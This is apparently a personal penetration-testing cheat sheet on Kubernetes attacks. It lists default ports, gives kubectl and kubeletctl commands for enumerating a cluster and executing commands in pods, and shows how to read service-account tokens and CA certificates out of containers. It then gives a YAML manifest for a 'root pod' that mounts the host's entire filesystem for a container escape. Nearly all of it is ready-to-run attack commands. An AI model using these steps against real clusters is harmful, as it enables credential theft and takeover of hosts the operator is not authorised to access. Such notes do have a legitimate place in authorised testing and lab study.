05Cloud
Kubernetes
00 Basic
- Default ports
| Port Range | Purpose | Used By |
|---|---|---|
| 6443 | Kubernetes API server | All |
| 2379-2380 | etcd server client API | kube-apiserver, etcd |
| 10250 | Kubelet API | Self, Control plane |
| 10259 | kube-scheduler | Self |
| 10257 | kube-controller-manager | Self |
| 10250 | Kubelet API | Self, Control plane |
| 30000-32767 | NodePort Services | All |
- kubectl
bash6 lines
## ------------------| Basic Infomationskubectl --server <IP> get podkubectl --server <IP> cluster-infokubectl --server <IP> get namespaceskubectl --server <IP> auth can-i --listkubectl --server <IP> --certificate-authority=ca.crt --token=$(cat token) get pod- kubelet [kubeletctl]
bash19 lines
## ------------------| list all the pods on the nodekubeletctl pods -s <IP>
## ------------------| list all the running podskubeletctl runningpods -s <IP>kubeletctl runningpods -s <IP> | jq -c '.items[].metadata | [.name, .namespace]'## Check what's not in the kube-system namespace
## ------------------| Execute commandskubeletctl -s <IP> exec "id" -p <PodName> -c <ContainerName>
## ------------------| Auth to Kubernetes API# /run/secrets/kubernetes.io/serviceaccount# /var/run/secrets/kubernetes.io/serviceaccount# /secrets/kubernetes.io/serviceaccoutkubeletctl -s <IP> exec "ls /run/secrets/kubernetes.io/serviceaccount" -p <PodName> -c <ContainerName>kubeletctl -s <IP> exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" -p <PodName> -c <ContainerName> | tee ca.crtkubeletctl -s <IP> exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p <PodName> -c <ContainerName> | tee tokenkubectl --server <IP> --certificate-authority=ca.crt --token=$(cat token) get pod- Create root pod
bash24 lines
## ------------------| YAML skeletonapiVersion: v1kind: Podmetadata: name: h4rithd namespace: defaultspec: containers: - name: h4rithd image: nginx:1.14.2 # Use this to get the version: kubectl get pod nginx -o yaml --server <IP> volumeMounts: - mountPath: /mnt name: hostfs volumes: - name: hostfs hostPath: path: / automountServiceAccountToken: true hostNetwork: true
## ------------------| Start the podkubectl apply -f skeleton.yaml --server <IP>
kubeletctl exec "ls /mnt/" -s <IP> -p h4rithd -c h4rithd